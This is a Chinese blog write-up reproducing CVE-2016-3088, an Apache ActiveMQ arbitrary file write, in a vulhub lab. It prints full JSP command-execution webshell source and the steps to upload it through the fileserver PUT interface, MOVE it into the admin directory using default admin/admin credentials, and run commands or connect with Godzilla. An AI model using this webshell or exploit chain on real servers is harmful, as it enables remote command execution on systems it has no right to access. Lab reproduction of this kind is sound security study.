【vulhub漏洞复现】CVE-2016-3088 ActiveMQ任意文件写入漏洞

一、漏洞详情

影响版本:Apache ActiveMQ 5.x~5.14.0

漏洞原理:ActiveMQ中存储文件的fileserver接口支持写入文件,但是没有执行权限。可以通过MOVE文件至其他可执行目录下,从而实现文件写入并访问。

ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用(但是可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。

二、复现过程

  1. 搭建docker环境

docker-compose up -d

访问8161端口

默认账户密码admin/admin 登录

  1. 写入webshell文件

文件上传成功需要有以下几点前提:

  • 知道文件上传的绝对路径

  • 网站有文件上传功能

  • 文件类型没有被限制

  • 上传的文件可以被执行

ActiveMQ的绝对路径可以通过http://your-ip:8161/admin/test/systemProperties.jsp页面获取

在网上找了个jsp的木马

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

用bp抓包上传,可以看见上传成功

访问http://192.168.239.128:8161/fileserver/1.jsp,文件写入但是没有被执行

  1. MOVE文件至可执行目录下

利用MOVE,将木马文件移动到api或者admin,我这边是移动到了admin目录下

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口
  1. 访问文件

http://192.168.239.128:8161/admin/1.jsp?cmd=ls
http://192.168.239.128:8161/admin/1.jsp?cmd=whoami

  1. (另)利用哥斯拉生成木马并连接

使用哥斯拉生成jsp木马文件,将文件PUT至fileserver接口中,返回204,也上传成功了

MOVE文件

用哥斯拉进行连接

URL=http://192.168.239.128:8161/admin/1.jsp

注意有效载荷和加密器的选择

因为上述的操作需要admin管理员的登录,所以我们需要在请求配置中加上认证头

Authorization: Basic YWRtaW46YWRtaW4=

测试连接,连接成功

三、总结

MOVE方法还是具有很大危险性的,慎用!

任意文件写入还有其他的思路:

写入webshell(修改jetty.xml只是为写入webshell排除掉admin和api需要登录的前提条件)
写入cron文件(定时反弹shell)
写入ssh key

在此献上大佬的文章,对手上述三种方法针对改漏洞都做出了详细过程的讲解

https://www.freebuf.com/vuls/274088.html

身为小白的我还需要继续深造阿。。。

猜你喜欢

转载自blog.csdn.net/m0_51683653/article/details/129240528